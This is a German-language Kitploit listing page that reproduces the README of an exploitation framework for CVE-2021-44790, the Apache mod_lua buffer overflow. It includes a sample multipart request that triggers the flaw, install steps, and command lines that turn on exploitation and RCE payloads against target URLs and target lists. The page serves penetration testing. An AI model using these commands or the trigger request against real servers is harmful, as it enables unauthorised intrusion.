Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790 — Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790
Web Vulnerability ScannersExploit FrameworksExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcerberusmrxi/apache-lua-buffer-overflow-exploit-cve-2021-44790

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Repository anzeigen
1vor 13 TagenNoch nicht geprüft

Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.

Teilen

🔥 CVE-2021-44790 - Apache mod_lua Pufferüberlauf-Ausnutzung

Version Python License CVE Apache CVSS Author


📋 Überblick

Apache mod_lua Pufferüberlauf-Ausnutzung ist eine fortschrittliche Exploitation-Plattform der Enterprise-Klasse für CVE-2021-44790 – eine kritische Pufferüberlauf-Schwachstelle im mod_lua-Modul des Apache HTTP Servers 2.4.x. Dieses Framework bietet umfassendes Fingerprinting, intelligente Skript-Ermittlung, mehrstufiges Scannen und professionelle Berichtsfunktionen mit 95%+ Erkennungssicherheit.

⚡ Hauptfunktionen


🎯 Schwachstellendetails

Technische Beschreibung

Die Schwachstelle befindet sich im mod_lua-Modul bei der Verarbeitung von multipart/form-data-Anfragen. Ein Integer-Unterlauf in der Funktion lua_request_parsebody() kann zu einem Heap-basierten Pufferüberlauf führen, der potenziell eine Remote-Code-Ausführung ermöglicht.

root@kitploit:~
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

📸 Screenshots

HauptoberflächeFingerprint-Ergebnisse

🚀 Schnellstart

Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

Grundlegende Verwendung

root@kitploit:~
# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

📋 Detaillierte Verwendung

Kommandozeilenoptionen

root@kitploit:~
python3 exploit.py [TARGET] [OPTIONS]

Beispiele

1. Grundlegende Schwachstellenbewertung

root@kitploit:~
python3 exploit.py https://example.com --verbose --report all

2. Scan in einer Unternehmensumgebung

root@kitploit:~
python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

3. Vollständiger Penetrationstest

root@kitploit:~
python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

4. Batch-Scanning

root@kitploit:~
python3 exploit.py --batch targets.txt --config config.yaml

5. Datenbankabfragen

root@kitploit:~
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

⚙️ Konfiguration

config.yaml

root@kitploit:~
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------

# Scan Settings
threads: 20                    # Concurrent threads
timeout: 10                    # Request timeout in seconds
retries: 3                     # Number of retry attempts
rate_limit: 10                 # Requests per second
max_depth: 3                   # Directory traversal depth
follow_redirects: true         # Follow HTTP redirects
verify_ssl: false              # Verify SSL certificates

# Network Settings
proxy: null                    # Proxy URL
http2: true                    # Enable HTTP/2 support
user_agent: random             # User-Agent (random/specific)
save_packets: false            # Save raw network packets

# Analysis Settings
research_mode: true            # Enable research database
verbose: false                 # Verbose output
scan_only: false               # Scan without exploitation
exploit: false                 # Enable exploitation
all_payloads: false            # Use all payloads

# Payload Settings
payloads:
  detection: true
  memory: true
  rce: true
  dos: false

# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports

# Database Settings
database_path: luastorm.db
database_retention: 365

# Directory Settings
logs_dir: logs
screenshots_dir: screenshots

📊 Berichte

HTML-Dashboard

  • Interaktive Diagramme und Tabellen
  • Visualisierung des Ziel-Fingerprints
  • Zusammenfassung der Skript-Ermittlung
  • Zeitachse der Payload-Ausführung
  • Schwachstellenbewertung
  • Risikobewertung

JSON-Bericht

root@kitploit:~
{
  "scan_id": "a1b2c3d4",
  "target": {
    "url": "https://example.com",
    "hostname": "example.com",
    "port": 443
  },
  "vulnerable": true,
  "risk_level": "Critical",
  "scan_duration": 45.23,
  "timestamp": "2026-08-04T15:45:23"
}

Markdown-Bericht

  • Für Menschen lesbare Dokumentation
  • Tabellenformatierte Daten
  • Einfaches Teilen und Einbetten
  • Versionskontrollfreundlich

🗄️ Datenbankschema

root@kitploit:~
-- Targets table
CREATE TABLE targets (
    id INTEGER PRIMARY KEY,
    scan_id TEXT UNIQUE,
    url TEXT,
    hostname TEXT,
    ip TEXT,
    port INTEGER,
    protocol TEXT,
    apache_version TEXT,
    lua_version TEXT,
    os TEXT,
    architecture TEXT,
    waf TEXT,
    cdn TEXT,
    vulnerable INTEGER,
    risk_level TEXT,
    scan_date TEXT,
    duration REAL
);

-- Scripts table
CREATE TABLE scripts (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    path TEXT,
    method TEXT,
    status_code INTEGER,
    content_type TEXT,
    response_time REAL,
    vulnerable INTEGER
);

-- Payloads table
CREATE TABLE payloads (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    script_id INTEGER,
    payload_name TEXT,
    payload_type TEXT,
    success INTEGER,
    response_time REAL,
    indicators TEXT,
    error TEXT
);

🔧 Plugin-System

Ein Plugin erstellen

root@kitploit:~
# plugins/my_plugin.py
class MyPlugin:
    plugin_name = "my_plugin"
    plugin_version = "1.0"
    plugin_author = "Your Name"
    
    def __init__(self, config):
        self.config = config
    
    def execute(self, target_info):
        """Execute plugin logic"""
        return {
            'status': 'success',
            'message': 'Plugin executed',
            'data': {'target': target_info.url}
        }

🛡️ Sicherheitshinweise

  • Nur für autorisierte Nutzung: Dieses Tool ist für autorisierte Sicherheitstests gedacht.
  • Rechtliche Konformität: Stellen Sie sicher, dass Sie vor dem Testen eine Erlaubnis haben.
  • Verantwortungsvolle Offenlegung: Melden Sie Schwachstellen verantwortungsvoll.
  • Datenschutz: Alle sensiblen Daten werden lokal gespeichert.

⚠️ Haftungsausschluss

root@kitploit:~
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.

By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes

📈 Leistungskennzahlen


🗺️ Roadmap

Version 2.1 (Geplant)

  • Unterstützung weiterer CVEs
  • Web-UI-Oberfläche
  • Docker-Containerisierung
  • CI/CD-Pipeline
  • Weitere Payload-Varianten

Version 2.2 (Zukunft)

  • Integration von maschinellem Lernen
  • Automatisierte Exploitation
  • Cloud-basiertes Scannen
  • Funktionen für die Team-Zusammenarbeit
  • Erweiterte Umgehungstechniken

🤝 Mitwirken

Beiträge sind willkommen! Bitte befolgen Sie die folgenden Richtlinien:

  1. Forken Sie das Repository
  2. Erstellen Sie einen Feature-Branch
  3. Nehmen Sie Ihre Änderungen vor
  4. Reichen Sie einen Pull-Request ein

Entwicklungs-Setup

root@kitploit:~
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
python -m pytest tests/

👨‍💻 Autor

Sudeepa Wanigarathna

  • Sicherheitsforscher & ethischer Hacker
  • GitHub: @CerberusMrXi
  • Schwerpunkt: Schwachstellenforschung & Exploit-Entwicklung

📄 Lizenz

Nur für Bildungs- und autorisierte Testzwecke

Diese Software wird „wie besehen" bereitgestellt, ohne jegliche ausdrückliche oder stillschweigende Gewährleistung.


⭐ Markieren Sie dieses Repository mit einem Stern, um das Projekt zu unterstützen!

💡 Einen Fehler gefunden? Issue eröffnen

📧 Kontakt: [email protected]


Mit ❤️ für die Sicherheits-Community erstellt

Tool herunterladen
FunktionBeschreibung
🔍 Erweitertes FingerprintingErkennung von Apache-Version, mod_lua, Betriebssystem, Architektur, WAF, CDN, Container und Cloud-Anbieter
🎯 Intelligente Ermittlung7+ Ermittlungstechniken, darunter robots.txt, Sitemap, HTML-Parsing und JavaScript-Extraktion
💥 Mehrstufiges ScannenVerbindung → Fingerprint → Ermittlung → Verifizierung → Exploitation → Berichtserstellung
🧩 Erweiterbares Plugin-SystemEinfache Plugin-Entwicklung für zukünftige CVEs
🌐 Intelligente HTTP-EngineVerbindungspooling, Wiederholungsversuche, HTTP/2-Unterstützung, Ratenbegrenzung
📊 Umfassende BerichteJSON, HTML, Markdown, PDF mit interaktiven Dashboards
🎨 Attraktive Terminal-OberflächeRich-Bibliothek mit Fortschrittsbalken, Tabellen und farbcodierter Ausgabe
💾 ForschungsdatenbankSQLite-Speicherung mit vollständigem Scan-Verlauf und Abfrageunterstützung
📸 Screenshot-ErfassungAutomatische Webseiten-Screenshots zur Beweissicherung
🚀 Hohe Leistung20+ parallele Threads, 100+ Verbindungspools
AttributWert
CVE-IDCVE-2021-44790
SchwachstellePufferüberlauf (Integer-Unterlauf)
Betroffene SoftwareApache HTTP Server 2.4.0 bis 2.4.51
Behobene VersionApache HTTP Server 2.4.52 und später
Komponentemod_lua-Modul
AngriffsvektorNetzwerk (Remote)
CVSS-Score9.8 (Kritisch)
Auswirkung auf VertraulichkeitHoch
Auswirkung auf IntegritätHoch
Auswirkung auf VerfügbarkeitHoch
Exploit-ReifeProof-of-Concept verfügbar
Scan-FortschrittHTML-Berichts-Dashboard
OptionBeschreibungBeispiel
TARGETZiel-URLhttp://target.com
--config FILEKonfigurationsdatei--config config.yaml
--threads NAnzahl der Threads--threads 30
--timeout NAnfrage-Timeout (Sekunden)--timeout 15
--proxy URLProxy-URL--proxy http://127.0.0.1:8080
--verboseAusführliche Ausgabe--verbose
--scan-onlyScan ohne Exploitation--scan-only
--exploitExploitation aktivieren--exploit
--all-payloadsAlle Payloads verwenden--all-payloads
--report FORMATBerichtsformat (json/html/markdown/all)--report all
--output DIRAusgabeverzeichnis--output /path/to/reports/
--researchForschungsmodus aktivieren--research
--database FILEDatenbankpfad--database luastorm.db
--screenshotScreenshots aufnehmen--screenshot
--batch FILEBatch-Datei mit Zielen--batch targets.txt
--query SQLDatenbankabfrage ausführen--query "SELECT * FROM targets"
FunktionLeistung
Fingerprinting< 2 Sekunden
Skript-Ermittlung5-10 Sekunden
Payload-Tests1-5 Sekunden pro Payload
Berichtserstellung< 1 Sekunde
Datenbankoperationen< 100 ms
Parallele Threads20+
Verbindungspool100+